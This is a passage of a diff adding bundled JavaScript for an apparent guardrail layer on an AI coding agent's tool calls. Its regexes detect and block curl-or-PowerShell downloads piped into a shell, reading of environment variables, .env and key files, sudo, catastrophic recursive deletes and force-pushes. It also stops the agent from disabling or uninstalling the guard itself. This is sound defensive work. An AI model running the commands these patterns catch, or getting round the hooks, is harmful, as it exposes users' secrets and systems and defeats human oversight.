/\[Environment\]::GetEnvironment/i; + var CMD_ECHO_ENV_RE = /echo\s+%[A-Za-z_]/i; + var ENV_FILE_PATH_RE = /(?:^|[\\/])\.env(?:\.|$)/; + var ENV_CMD_RE = /\.env(?:\b|\s|$|\.)/; + var SUDO_RE = /(?:^|;|&&|\|\|)\s*sudo\s/; + var PS_ELEVATION_RE = /Start-Process\s+.*-Verb\s+RunAs/i; + var RUNAS_RE = /(?:^|;|&&|\|\|)\s*runas\s/i; + var CURL_PIPE_SH_RE = /(?:curl|wget)\s.*\|\s*(?:sh|bash|zsh|dash|ksh|csh|tcsh|fish|ash)\b/; + var PS_WEB_PIPE_RE = /(?:Invoke-WebRequest|iwr|Invoke-RestMethod|irm)\s+.*\|\s*(?:Invoke-Expression|iex)/i; + var SHORT_FLAG_BUNDLE_RE = /^-[a-zA-Z]*f[a-zA-Z]*$/; + var SAFE_FORCE_PREFIXES = ["--force-with-lease", "--force-if-includes"]; + var SECRET_FILE_RE = /\.(?:pem|key)$/; + var SECRET_FILE_ID_RSA_RE = /id_rsa/; + var SECRET_FILE_CREDENTIALS_RE = /credentials/; + var FAILPROOFAI_CLI_RE = /(?:^|;|&&|\|\||\|)\s*failproofai(?:\s|$)/; + var FAILPROOFAI_UNINSTALL_RE = /(?:npm\s+(?:uninstall|remove|un|r)\s.*failproofai|bun\s+remove\s.*failproofai|yarn\s+global\s+remove\s+failproofai|pnpm\s+(?:remove|uninstall|un)\s.*failproofai)/; + var GIT_AMEND_RE = /\bgit\s+commit\b.*--amend\b/; + var GIT_STASH_DROP_RE = /\bgit\s+stash\s+(?:drop|clear)\b/; + var GIT_ADD_ALL_RE = /\bgit\s+add\s+(?:-A\b|--all\b|\.(?:\s|$|;|&&|\|\|))/; + var NPM_GLOBAL_RE = /\bnpm\s+(?:install|i)\b(?=.*(?:\s-g\b|--global\b))/; + var YARN_GLOBAL_RE = /\byarn\s+global\s+add\b/; + var PNPM_GLOBAL_RE = /\bpnpm\s+(?:add|install|i)\b(?=.*(?:\s-g\b|--global\b))/; + var BUN_GLOBAL_RE = /\bbun\s+(?:install|add)\b(?=.*(?:\s-g\b|--global\b))/; + var CARGO_INSTALL_RE = /\bcargo\s+install\b/; + var PIP_SYSTEM_RE = /\bpip(?:3)?\s+install\b(?=.*(?:--user\b|--break-system-packages\b))/; + var PKG_MANAGER_DETECTORS = { + pip: [/\bpip\b/, /\bpip3\b/, /\bpython3?\s+-m\s+pip\b/], + npm: [/\bnpm\b/, /\bnpx\b/], + yarn: [/\byarn\b/], + pnpm: [/\bpnpm\b/, /\bpnpx\b/], + bun: [/\bbun\b/, /\bbunx\b/], + uv: [/\buv\b/], + poetry: [/\bpoetry\b/], + pipenv: [/\bpipenv\b/], + conda: [/\bconda\b/], + cargo: [/\bcargo\b/] + }; + var NOHUP_RE = /\bnohup\s+\S/; + var SCREEN_DETACH_RE = /\bscreen\s+-[A-Za-z]*d[A-Za-z]*\b/; + var TMUX_DETACH_RE = /\btmux\s+(?:new-session|new)\b[^|&;]*-d\b/; + var DISOWN_RE = /\bdisown\b/; + var BACKGROUND_AMPERSAND_RE = /(? thresholdBytes) { + return instruct(`STOP: You are writing a file larger than ${thresholdKb}KB (${Math.round(content.length / 1024)}KB). This is unusually large. Confirm this is intentional before proceeding.`); + } + return allow(); + } + function warnPackagePublish(ctx) { + if (ctx.toolName !== "Bash") + return allow(); + const cmd = getCommand(ctx); + if (PUBLISH_CMD_RE.test(cmd)) { + return instruct("STOP: This command publishes a package to a public registry. Confirm with the user that this is intentional."); + } + return allow(); + } + function protectEnvVars(ctx) { + if (ctx.toolName !== "Bash") + return allow(); + const cmd = getCommand(ctx); + if (ENV_PRINTENV_RE.test(cmd)) { + return deny("Command reads environment variables"); + } + if (ECHO_ENV_RE.test(cmd)) { + return deny("Command echoes environment variable"); + } + if (EXPORT_RE.test(cmd)) { + return deny("Command exports environment variable"); + } + if (PS_ENV_VAR_RE.test(cmd)) { + return deny("Command reads environment variable via PowerShell"); + } + if (PS_CHILDITEM_ENV_RE.test(cmd)) { + return deny("Command reads environment variables via PowerShell"); + } + if (DOTNET_GETENV_RE.test(cmd)) { + return deny("Command reads environment variable via .NET"); + } + if (CMD_ECHO_ENV_RE.test(cmd)) { + return deny("Command echoes environment variable via cmd"); + } + return allow(); + } + function blockEnvFiles(ctx) { + const cmd = getCommand(ctx); + const filePath = getFilePath(ctx); + if (filePath && ENV_FILE_PATH_RE.test(filePath)) { + return deny("Access to .env file blocked"); + } + if (ctx.toolName === "Bash" && ENV_CMD_RE.test(cmd)) { + return deny("Command references .env file"); + } + return allow(); + } + function blockSudo(ctx) { + if (ctx.toolName !== "Bash") + return allow(); + const cmd = getCommand(ctx).trimStart(); + if (SUDO_RE.test(cmd) || cmd.startsWith("sudo ")) { + const allowPatterns = ctx.params?.allowPatterns ?? []; + if (allowPatterns.some((p) => matchesAllowedPattern(cmd, p))) + return allow(); + return deny("sudo commands are blocked"); + } + if (PS_ELEVATION_RE.test(cmd)) { + return deny("Elevated process launch is blocked"); + } + if (RUNAS_RE.test(cmd)) { + return deny("runas elevation is blocked"); + } + return allow(); + } + function blockCurlPipeSh(ctx) { + if (ctx.toolName !== "Bash") + return allow(); + const cmd = getCommand(ctx); + if (CURL_PIPE_SH_RE.test(cmd)) { + return deny("Piping downloads to shell is blocked"); + } + if (PS_WEB_PIPE_RE.test(cmd)) { + return deny("Piping downloads to Invoke-Expression is blocked"); + } + return allow(); + } + function extractGitPushArgs(cmd) { + return cmd.split(/&&|\|\||[|;\n]/).map((s) => s.trim()).filter((s) => /^git\s+push\s/.test(s)).map((s) => s.replace(/^git\s+push\s+/, "")); + } + function blockPushMaster(ctx) { + if (ctx.toolName !== "Bash") + return allow(); + const protectedBranches = ctx.params?.protectedBranches ?? ["main", "master"]; + if (protectedBranches.length === 0) + return allow(); + const args = extractGitPushArgs(getCommand(ctx)); + const branchPattern = new RegExp(`\\b(?:${protectedBranches.map((b) => b.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")).join("|")})\\b`); + if (args.some((a) => branchPattern.test(a))) { + return deny(`Pushing to ${protectedBranches.join("/")} is blocked`); + } + return allow(); + } + var HOME_PREFIX_RE = /^(?:~[A-Za-z0-9_.-]*|\$HOME|\$\{HOME\})(?=$|\/)/; + var RM_CMD_RE = /^(?:\/\S*\/)?rm$/; + var FIND_CMD_RE = /^(?:\/\S*\/)?find$/; + var FIND_EXEC_RE = /^-(?:exec|execdir|ok|okdir)$/; + var FIND_GLOBAL_OPT_RE = /^-(?:[HLP]|D|O\d*)$/; + var FIND_EXPR_START_RE = /^(?:-|\\?[(!])/; + var SCRATCH_ROOTS = ["/tmp", "/var/tmp"]; + var CATASTROPHIC_DEPTH = 2; + function expandHomePrefix(path, home) { + const m = path.match(/^(?:~|\$HOME|\$\{HOME\})(?=$|\/)/); + return m ? home + path.slice(m[0].length) : path; + } + function stripTrailingGlob(path) { + return path.replace(/\/\*$/, "").replace(/\/+$/, ""); + } + function isCatastrophicTarget(token) { + const raw = token.replace(/^['"]|['"]$/g, ""); + if (raw === "") + return false; + const homePrefix = raw.match(HOME_PREFIX_RE); + if (!homePrefix && /^[$`]/.test(raw)) + return true; + const belowRoot = homePrefix ? raw.slice(homePrefix[0].length) : raw.startsWith("/") ? raw : null; + if (belowRoot === null) + return false; + const segments = stripTrailingGlob(belowRoot).split("/").filter(Boolean); + if (!homePrefix && SCRATCH_ROOTS.some((r) => `/${segments.join("/")}`.startsWith(`${r}/`))) + return false; + return segments.length <= CATASTROPHIC_DEPTH; + } + function recursiveDeletionTargets(seg) { + const tokens = parseArgvTokens(seg); + const findIdx = tokens.findIndex((t) => FIND_CMD_RE.test(t)); + if (findIdx >= 0) { + const expr = tokens.slice(findIdx + 1); + const execIdx = expr.findIndex((t) => FIND_EXEC_RE.test(t)); + const deletes = expr.includes("-delete") || execIdx >= 0 && RM_CMD_RE.test(expr[execIdx + 1] ?? ""); + if (deletes) { + let start = 0; + while (start < expr.length && FIND_GLOBAL_OPT_RE.test(expr[start])) { + start += expr[start] === "-D" ? 2 : 1; + } + const rest = expr.slice(start); + const end = rest.findIndex((t) => FIND_EXPR_START_RE.test(t)); + return end < 0 ? rest : rest.slice(0, end); + } + } + const rmIdx = tokens.findIndex((t) => RM_CMD_RE.test(t)); + if (rmIdx >= 0) { + const args = tokens.slice(rmIdx + 1); + const shortFlags = args.filter((t) => /^-[^-]/.test(t)).join(""); + const longFlags = args.filter((t) => /^--/.test(t)); + const recursive = /r/i.test(shortFlags) || longFlags.some((f) => /^--recursive$/i.test(f)); + const force = /f/.test(shortFlags) || longFlags.some((f) => /^--force$/i.test(f)); + if (recursive && force) + return args.filter((t) => !t.startsWith("-")); + } + return null; + } + function deletionTargetIsAllowed(cmd, allowPaths, home) { + if (allowPaths.length === 0) + return false; + const normalizedAllowPaths = allowPaths.map((p) => stripTrailingGlob(expandHomePrefix(p, home)) || "/"); + let sawRecursiveDelete = false; + for (const seg of shellSegments(cmd)) { + const targets = recursiveDeletionTargets(seg); + if (targets === null) + continue; + sawRecursiveDelete = true; + for (const target of targets) { + const normalized = stripTrailingGlob(expandHomePrefix(target, home)) || "/"; + const covered = normalizedAllowPaths.some((np) => normalized === np || normalized.startsWith(np + "/")); + if (!covered) { + const segCovered = allowPaths.some((p) => { + const escaped = p.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); + return new RegExp(`${escaped}(?:[/"'\\s/*]|$)`).test(seg); + }); + if (!segCovered) + return false; + } + } + } + return sawRecursiveDelete; + } + function blockRmRf(ctx) { + if (ctx.toolName !== "Bash") + return allow(); + const cmd = getCommand(ctx); + const hasCatastrophicTarget = shellSegments(cmd).some((seg) => { + const targets = recursiveDeletionTargets(seg); + return targets !== null && targets.some(isCatastrophicTarget); + }); + if (hasCatastrophicTarget) { + const allowPaths = ctx.params?.allowPaths ?? []; + if (deletionTargetIsAllowed(cmd, allowPaths, resolveHome(ctx))) + return allow(); + return deny("Catastrophic deletion blocked"); + } + if (/Remove-Item\s+.*-Recurse.*-Force.*(?:[A-Z]:\\(?:\s|$)|\\\*)/i.test(cmd)) { + return deny("Catastrophic deletion blocked"); + } + if (/(?:rd|rmdir)\s+\/s\s+\/q\s+[A-Z]:\\/i.test(cmd)) { + return deny("Catastrophic deletion blocked"); + } + return allow(); + } + function blockForcePush(ctx) { + if (ctx.toolName !== "Bash") + return allow(); + for (const segment of extractGitPushArgs(getCommand(ctx))) { + let sawEndOfOptions = false; + for (const token of segment.split(/\s+/)) { + if (token === "--") { + sawEndOfOptions = true; + continue; + } + if (sawEndOfOptions) + continue; + if (isForcePushFlag(token)) { + return deny("Force-pushing is blocked"); + } + } + } + return allow(); + } + function isForcePushFlag(token) { + if (token === "--force") + return true; + if (SAFE_FORCE_PREFIXES.some((prefix) => token.startsWith(prefix))) + return false; + if (token.startsWith("--force")) + return true; + return SHORT_FLAG_BUNDLE_RE.test(token); + } + function blockSecretsWrite(ctx) { + if (ctx.toolName !== "Write") + return allow(); + const filePath = getFilePath(ctx); + if (SECRET_FILE_RE.test(filePath) || SECRET_FILE_ID_RSA_RE.test(filePath) || SECRET_FILE_CREDENTIALS_RE.test(filePath)) { + return deny("Writing secret key files is blocked"); + } + const additionalPatterns = ctx.params?.additionalPatterns ?? []; + for (const pattern of additionalPatterns) { + if (filePath.includes(pattern)) { + return deny(`Writing blocked file pattern: ${pattern}`); + } + } + return allow(); + } + var READ_LIKE_CMDS = /(?:^|;|&&|\|\||\|)\s*(?:ls|find|cat|head|tail|less|more|wc|file|stat|tree|du)\s/; + function extractAbsolutePaths(command, home) { + const paths = []; + const pathRe = /(? " ".repeat(m.length)).replace(/'[^']*'/g, (m) => " ".repeat(m.length)); + addPaths(stripped); + return paths; + } + function blockReadOutsideCwd(ctx) { + const cwd = resolveProjectDir(ctx) || ctx.session?.cwd; + if (!cwd) + return allow(); + const home = resolveHome(ctx); + const allowPaths = ctx.params?.allowPaths ?? []; + if (ctx.toolName === "Bash") { + const cmd = getCommand(ctx); + if (!READ_LIKE_CMDS.test(cmd)) + return allow(); + const paths = extractAbsolutePaths(cmd, home); + const cwdWithSep2 = cwd.endsWith("/") ? cwd : cwd + "/"; + for (const p of paths) { + const resolved2 = resolve(cwd, p); + if (isClaudeSettingsFile(resolved2)) { + return deny(`Reading agent settings file blocked: ${resolved2}`); + } + if (isClaudeInternalPath(resolved2, home)) + continue; + if (resolved2 === "/dev/null") + continue; + if (resolved2 !== cwd && !resolved2.startsWith(cwdWithSep2)) { + if (allowPaths.some((ap) => resolved2 === ap || resolved2.startsWith(ap.endsWith("/") ? ap : ap + "/"))) + continue; + return deny(`Bash read outside project directory blocked: ${resolved2}`); + } + } + return allow(); + } + const filePath = getFilePath(ctx); + const searchPath = ctx.toolInput?.path ?? ""; + const target = filePath || searchPath; + if (!target) + return allow(); + const resolved = resolve(cwd, target); + if (isClaudeSettingsFile(resolved)) { + return deny(`Reading agent settings file blocked: ${resolved}`); + } + if (isClaudeInternalPath(resolved, home)) + return allow(); + if (resolved === "/dev/null") + return allow(); + const cwdWithSep = cwd.endsWith("/") ? cwd : cwd + "/"; + if (resolved !== cwd && !resolved.startsWith(cwdWithSep)) { + if (allowPaths.some((ap) => resolved === ap || resolved.startsWith(ap.endsWith("/") ? ap : ap + "/"))) + return allow(); + return deny(`Access outside project directory blocked: ${resolved}`); + } + return allow(); + } + function blockFailproofaiCommands(ctx) { + if (ctx.toolName !== "Bash") + return allow(); + const cmd = getCommand(ctx); + if (FAILPROOFAI_CLI_RE.test(cmd)) { + return deny("Running failproofai CLI commands is blocked"); + } + if (FAILPROOFAI_UNINSTALL_RE.test(cmd)) { + return deny("Uninstalling failproofai is blocked"); + } + return allow(); + } + function blockInfraCli(ctx, re, denyMsg) { + if (ctx.toolName !== "Bash") + return allow(); + const cmd = getCommand(ctx); + if (!re.test(cmd)) + return allow(); + const allowPatterns = ctx.params?.allowPatterns ?? []; + if (allowPatterns.some((p) => matchesAllowedPattern(cmd, p))) + return allow(); + return deny(denyMsg); + } + function blockKubectl(ctx) { + return blockInfraCli(ctx, KUBECTL_RE, "kubectl commands are blocked"); + } + function blockTerraform(ctx) { + return blockInfraCli(ctx, TERRAFORM_RE, "terraform/tofu commands are blocked"); + } + function blockAwsCli(ctx) { + return blockInfraCli(ctx, AWS_CLI_RE, "aws CLI commands are blocked"); + } + function blockGcloud(ctx) { + return blockInfraCli(ctx, GCLOUD_RE, "gcloud commands are blocked"); + } + function blockAzCli(ctx) { + return blockInfraCli(ctx, AZ_CLI_RE, "az (Azure) CLI commands are blocked"); + } + function blockHelm(ctx) { + return blockInfraCli(ctx, HELM_RE, "helm commands are blocked"); + } + function blockGhPipeline(ctx) { + return blockInfraCli(ctx, GH_PIPELINE_RE, "gh pipeline-trigger commands are blocked"); + } + function warnGitAmend(ctx) { + if (ctx.toolName !== "Bash") + return allow(); + const cmd = getCommand(ctx); + if (GIT_AMEND_RE.test(cmd)) { + return instruct("STOP: This command amends the last commit, which rewrites git history. If this commit has already been pushed to a shared branch, this will cause divergence for other contributors. Confirm with the user before executing."); + } + return allow(); + } + function warnGitStashDrop(ctx) { + if (ctx.toolName !== "Bash") + return allow(); + const cmd = getCommand(ctx); + if (GIT_STASH_DROP_RE.test(cmd)) { + return instruct("STOP: This command permanently deletes stashed changes (git stash drop/clear). Stash entries cannot be recovered after deletion. Confirm with the user before executing."); + } + return allow(); + } + function warnAllFilesStaged(ctx) { + if (ctx.toolName !== "Bash") + return allow(); + const cmd = getCommand(ctx); + if (GIT_ADD_ALL_RE.test(cmd)) { + return instruct("STOP: This command stages all files in the working tree (git add -A / --all / .). This may inadvertently include build artifacts, generated files, or sensitive files not covered by .gitignore. Confirm with the user before executing."); + } + return allow(); + } + function warnSchemaAlteration(ctx) { + if (ctx.toolName !== "Bash") + return allow(); + const cmd = getCommand(ctx); + if (!SQL_TOOL_RE.test(cmd)) + return allow(); + if (SCHEMA_ALTER_RE.test(cmd)) { + return instruct("STOP: This command contains a schema-altering SQL statement (ALTER TABLE with column or rename operation). Schema changes on production databases are irreversible or disruptive. Confirm with the user before executing."); + } + return allow(); + } + function warnGlobalPackageInstall(ctx) { + if (ctx.toolName !== "Bash") + return allow(); + const cmd = getCommand(ctx); + const isGlobal = NPM_GLOBAL_RE.test(cmd) || YARN_GLOBAL_RE.test(cmd) || PNPM_GLOBAL_RE.test(cmd) || BUN_GLOBAL_RE.test(cmd) || CARGO_INSTALL_RE.test(cmd) || PIP_SYSTEM_RE.test(cmd); + if (isGlobal) { + return instruct("STOP: This command installs a package globally, which modifies the system-wide environment outside the project. This can conflict with other projects or system tools. Confirm with the user before executing."); + } + return allow(); + } + var SEGMENT_SPLIT_RE = /\s*(?:&&|\|\||\||;)\s*/; + function preferPackageManager(ctx) { + if (ctx.toolName !== "Bash") + return allow(); + const cmd = getCommand(ctx); + if (!cmd) + return allow(); + const allowed = ctx.params?.allowed ?? []; + if (allowed.length === 0) + return allow(); + const allowedSet = new Set(allowed.map((a) => a.toLowerCase())); + const blocked = ctx.params?.blocked ?? []; + const allowedList = allowed.join(", "); + const segments = cmd.split(SEGMENT_SPLIT_RE); + for (const segment of segments) { + const trimmed = segment.trim(); + if (!trimmed) + continue; + let segmentAllowed = false; + for (const manager of allowedSet) { + const patterns = PKG_MANAGER_DETECTORS[manager]; + if (!patterns) + continue; + for (const pattern of patterns) { + if (pattern.test(trimmed)) { + segmentAllowed = true; + break; + } + } + if (segmentAllowed) + break; + } + if (segmentAllowed) + continue; + for (const [manager, patterns] of Object.entries(PKG_MANAGER_DETECTORS)) { + if (allowedSet.has(manager)) + continue; + for (const pattern of patterns) { + if (pattern.test(trimmed)) { + return deny(`"${manager}" is not an allowed package manager. ` + `Allowed package managers for this project: ${allowedList}. ` + `Rewrite this command using an allowed package manager.`); + } + } + } + for (const name of blocked) { + const lower = name.toLowerCase(); + if (allowedSet.has(lower)) + continue; + const re = new RegExp(`\\b${lower.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")}\\b`); + if (re.test(trimmed)) { + return deny(`"${lower}" is not an allowed package manager. ` + `Allowed package managers for this project: ${allowedList}. ` + `Rewrite this command using an allowed package manager.`); + } + } + } + return allow(); + } + function warnBackgroundProcess(ctx) { + if (ctx.toolName !== "Bash") + return allow(); + const cmd = getCommand(ctx); + const isBackground = NOHUP_RE.test(cmd) || SCREEN_DETACH_RE.test(cmd) || TMUX_DETACH_RE.test(cmd) || DISOWN_RE.test(cmd) || BACKGROUND_AMPERSAND_RE.test(cmd); + if (isBackground) { + return instruct("STOP: This command starts a background or detached process (nohup, screen -d, tmux -d, or trailing &). Background processes persist after Claude's session and may be difficult to track or stop. Confirm with the user before executing."); + } + return allow(); + } + var PAYLOAD_ONLY_POLICIES = [ + { name: "sanitize-jwt", fn: sanitizeJwt }, + { name: "sanitize-api-keys", fn: sanitizeApiKeys }, + { name: "sanitize-connection-strings", fn: sanitizeConnectionStrings }, + { name: "sanitize-private-key-content", fn: sanitizePrivateKeyContent }, + { name: "sanitize-bearer-tokens", fn: sanitizeBearerTokens }, + { name: "protect-env-vars", fn: protectEnvVars }, + { name: "block-env-files", fn: blockEnvFiles }, + { name: "block-read-outside-cwd", fn: blockReadOutsideCwd }, + { name: "block-sudo", fn: blockSudo }, + { name: "block-curl-pipe-sh", fn: blockCurlPipeSh }, + { name: "block-rm-rf", fn: blockRmRf }, + { name: "block-failproofai-commands", fn: blockFailproofaiCommands }, + { name: "block-kubectl", fn: blockKubectl }, + { name: "block-terraform", fn: blockTerraform }, + { name: "block-aws-cli", fn: blockAwsCli }, + { name: "block-gcloud", fn: blockGcloud }, + { name: "block-az-cli", fn: blockAzCli }, + { name: "block-helm", fn: blockHelm }, + { name: "block-gh-pipeline", fn: blockGhPipeline }, + { name: "block-secrets-write", fn: blockSecretsWrite }, + { name: "block-push-master", fn: blockPushMaster }, + { name: "block-force-push", fn: blockForcePush }, + { name: "warn-git-amend", fn: warnGitAmend }, + { name: "warn-git-stash-drop", fn: warnGitStashDrop }, + { name: "warn-all-files-staged", fn: warnAllFilesStaged }, + { name: "warn-destructive-sql", fn: warnDestructiveSql }, + { name: "warn-schema-alteration", fn: warnSchemaAlteration }, + { name: "warn-package-publish", fn: warnPackagePublish }, + { name: "warn-global-package-install", fn: warnGlobalPackageInstall }, + { name: "prefer-package-manager", fn: preferPackageManager }, + { name: "warn-large-file-write", fn: warnLargeFileWrite }, + { name: "warn-background-process", fn: warnBackgroundProcess } + ]; + + // src/hooks/builtin/host-access.ts + var GIT_COMMIT_MERGE_RE = /git\s+(commit|merge|rebase|cherry-pick)\b/; + var gitBranchCache = new Map; + function getCurrentBranch(cwd) { + try { + let branch = gitBranchCache.get(cwd); + if (branch === undefined) { + branch = execSync("git rev-parse --abbrev-ref HEAD", { + cwd, + encoding: "utf8", + stdio: ["pipe", "pipe", "pipe"], + timeout: 3000 + }).trim(); + gitBranchCache.set(cwd, branch); + } + return branch || null; + } catch { + return null; + } + } + function getHeadSha(cwd) { + try { + const sha = execSync("git rev-parse HEAD", { + cwd, + encoding: "utf8", + stdio: ["pipe", "pipe", "pipe"], + timeout: 3000 + }).trim(); + return sha || null; + } catch { + return null; + } + } + function getThirdPartyCheckRuns(cwd, sha) { + try { + const json = execFileSync("gh", [ + "api", + `repos/{owner}/{repo}/commits/${sha}/check-runs`, + "--jq", + '.check_runs | map(select(.app.slug != "github-actions")) | map({name: .name, status: .status, conclusion: (.conclusion // "")})' + ], { + cwd, + encoding: "utf8", + stdio: ["pipe", "pipe", "pipe"], + timeout: 15000 + }).trim(); + if (!json || json === "[]") + return []; + return JSON.parse(json); + } catch { + return []; + } + } + function getCommitStatuses(cwd, sha) { + try { + const json = execFileSync("gh", [ + "api", + `repos/{owner}/{repo}/commits/${sha}/statuses`, + "--jq", + "map({name: .context, state: .state}) | unique_by(.name)" + ], { + cwd, + encoding: "utf8", + stdio: ["pipe", "pipe", "pipe"], + timeout: 15000 + }).trim(); + if (!json || json === "[]") + return []; + const statuses = JSON.parse(json); + return statuses.map((s) => ({ + name: s.name, + status: s.state === "pending" ? "in_progress" : "completed", + conclusion: s.state === "pending" ? "" : s.state === "success" ? "success" : "failure" + })); + } catch { + return []; + } + } + function blockWorkOnMain(ctx) { + if (ctx.toolName !== "Bash") + return allow(); + const cmd = getCommand(ctx); + const match = cmd.match(GIT_COMMIT_MERGE_RE); + if (!match) + return allow(); + const cwd = ctx.session?.cwd; + if (!cwd) + return allow(); + const branch = getCurrentBranch(cwd); + if (!branch) + return allow(); + const protectedBranches = ctx.params?.protectedBranches ?? ["main", "master"]; + if (protectedBranches.includes(branch)) { + return deny(`Git ${match[1]} on ${branch} is blocked. Create a feature branch first.`); + } + return allow(); + } + var TOOL_CALL_TRACKER_MAX_BYTES = 65536; + async function warnRepeatedToolCalls(ctx) { + const THRESHOLD = 3; + const transcriptPath = ctx.session?.transcriptPath; + if (!transcriptPath || !ctx.toolName || !ctx.toolInput) + return allow(); + const trackerPath = `${transcriptPath}.tool-calls.json`; + const fingerprint = JSON.stringify({ tool: ctx.toolName, input: ctx.toolInput }); + let counts = {}; + try { + const raw = await readFile(trackerPath, "utf8"); + counts = JSON.parse(raw); + } catch {} + const prevCount = counts[fingerprint] ?? 0; + if (prevCount >= THRESHOLD) { + return instruct(`STOP: You have already called ${ctx.toolName} ${prevCount} times with identical parameters. This is wasteful and unproductive. Do NOT repeat this call — use a different approach or ask the user for clarification.`); + } + counts[fingerprint] = prevCount + 1; + try { + const serialized = JSON.stringify(counts); + if (serialized.length <= TOOL_CALL_TRACKER_MAX_BYTES) { + await writeFile(trackerPath, serialized, "utf8"); + } + } catch {} + return allow(); + } + function isPlanMode(ctx) { + return ctx.session?.permissionMode === "plan"; + } + function requireCommitBeforeStop(ctx) { + if (isPlanMode(ctx)) + return allow("Plan mode — no changes made, skipping commit check."); + const cwd = ctx.session?.cwd; + if (!cwd) + return allow("No working directory available, skipping commit check."); + try { + const status = execSync("git status --porcelain", { + cwd, + encoding: "utf8", + stdio: ["pipe", "pipe", "pipe"], + timeout: 5000 + }).trim(); + if (status.length > 0) { + return deny("You have uncommitted changes in the working directory. Commit all changes now."); + } + return allow("All changes are committed."); + } catch { + return allow("Not a git repository, skipping commit check."); + } + } + function requirePushBeforeStop(ctx) { + if (isPlanMode(ctx)) + return allow("Plan mode — no changes made, skipping push check."); + const cwd = ctx.session?.cwd; + if (!cwd) + return allow("No working directory available, skipping push check."); + try { + const remotes = execSync("git remote", { + cwd, + encoding: "utf8", + stdio: ["pipe", "pipe", "pipe"], + timeout: 3000 + }).trim(); + if (!remotes) + return allow("No git remote configured, skipping push check."); + const remote = ctx.params?.remote ?? "origin"; + const branch = getCurrentBranch(cwd); + if (!branch || branch === "HEAD") + return allow("Detached HEAD, skipping push check."); + const baseBranch = ctx.params?.baseBranch ?? "main"; + if (branch === baseBranch) { + return allow(`On base branch "${baseBranch}", skipping push check.`); + } + try { + const ahead = execFileSync("git", ["log", `${remote}/${baseBranch}..HEAD`, "--oneline"], { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 5000 }).trim(); + if (!ahead) { + return allow(`No commits ahead of ${remote}/${baseBranch}, skipping push check.`); + } + const diff = execFileSync("git", ["diff", "--stat", `${remote}/${baseBranch}`, "HEAD"], { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 5000 }).trim(); + if (!diff) { + return allow(`No file changes compared to ${remote}/${baseBranch}, skipping push check.`); + } + } catch {} + let hasTracking = false; + try { + execFileSync("git", ["rev-parse", "--verify", `${remote}/${branch}`], { + cwd, + encoding: "utf8", + stdio: ["pipe", "pipe", "pipe"], + timeout: 3000 + }); + hasTracking = true; + } catch {} + if (!hasTracking) { + return deny(`Branch "${branch}" has not been pushed to remote "${remote}". ` + `Run now: git push -u ${remote} ${branch}`); + } + const unpushed = execFileSync("git", ["log", `${remote}/${branch}..HEAD`, "--oneline"], { + cwd, + encoding: "utf8", + stdio: ["pipe", "pipe", "pipe"], + timeout: 5000 + }).trim(); + if (unpushed.length > 0) { + const commitCount = unpushed.split(` +`).length; + return deny(`You have ${commitCount} unpushed commit${commitCount > 1 ? "s" : ""} on branch "${branch}". ` + `Run now: git push`); + } + return allow(`All commits pushed to "${remote}".`); + } catch { + return allow("Could not check push status, skipping."); + } + } + function requirePrBeforeStop(ctx) { + if (isPlanMode(ctx)) + return allow("Plan mode — no changes made, skipping PR check."); + const cwd = ctx.session?.cwd; + if (!cwd) + return allow("No working directory available, skipping PR check."); + try { + try { + execSync("gh --version", { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 3000 }); + } catch { + return allow("GitHub CLI (gh) not installed, skipping PR check."); + } + const branch = getCurrentBranch(cwd); + if (!branch || branch === "HEAD") + return allow("Detached HEAD, skipping PR check."); + const baseBranch = ctx.params?.baseBranch ?? "main"; + if (branch === baseBranch) { + return allow(`On base branch "${baseBranch}", skipping PR check.`); + } + try { + const ahead = execFileSync("git", ["log", `origin/${baseBranch}..HEAD`, "--oneline"], { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 5000 }).trim(); + if (!ahead) { + return allow(`No commits ahead of origin/${baseBranch}, skipping PR check.`); + } + const diff = execFileSync("git", ["diff", "--stat", `origin/${baseBranch}`, "HEAD"], { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 5000 }).trim(); + if (!diff) { + return allow(`No file changes compared to origin/${baseBranch}, skipping PR check.`); + } + } catch {} + let prJson; + try { + prJson = execSync("gh pr view --json number,url,state", { + cwd, + encoding: "utf8", + stdio: ["pipe", "pipe", "pipe"], + timeout: 15000 + }).trim(); + } catch { + return deny(`No pull request found for branch "${branch}". ` + `Run now: gh pr create`); + } + const pr = JSON.parse(prJson); + if (pr.state === "OPEN") { + return allow(`PR #${pr.number} exists: ${pr.url}`); + } + if (pr.state === "MERGED") { + return allow(`PR #${pr.number} was merged: ${pr.url}. ` + `Switch off this branch (e.g. 'git checkout ${baseBranch} && git pull') before stopping again.`); + } + return deny(`Pull request for branch "${branch}" is ${pr.state.toLowerCase()}. Run now: gh pr create`); + } catch { + return allow("Could not check PR status, skipping."); + } + } + function requireNoConflictsBeforeStop(ctx) { + if (isPlanMode(ctx)) + return allow("Plan mode — no changes made, skipping conflict check."); + const cwd = ctx.session?.cwd; + if (!cwd) + return allow("No working directory available, skipping conflict check."); + const branch = getCurrentBranch(cwd); + if (!branch || branch === "HEAD") + return allow("Detached HEAD, skipping conflict check."); + const baseBranch = ctx.params?.baseBranch ?? "main"; + if (branch === baseBranch) { + return allow(`On base branch "${baseBranch}", skipping conflict check.`); + } + try { + execSync("gh --version", { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 3000 }); + } catch { + return allow("gh CLI not installed, skipping conflict check."); + } + let prJson; + try { + prJson = execSync("gh pr view --json mergeable,number,url,state", { + cwd, + encoding: "utf8", + stdio: ["pipe", "pipe", "pipe"], + timeout: 15000 + }).trim(); + } catch { + return allow("No pull request found for branch, skipping conflict check."); + } + let pr; + try { + pr = JSON.parse(prJson); + } catch { + return allow("Could not parse gh pr view output, skipping conflict check."); + } + if (pr.state !== "OPEN") { + return allow(`PR #${pr.number} is ${pr.state.toLowerCase()}; skipping conflict check.`); + } + try { + execFileSync("git", ["rev-parse", "--verify", `origin/${baseBranch}`], { + cwd, + encoding: "utf8", + stdio: ["pipe", "pipe", "pipe"], + timeout: 3000 + }); + const ahead = execFileSync("git", ["log", `origin/${baseBranch}..HEAD`, "--oneline"], { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 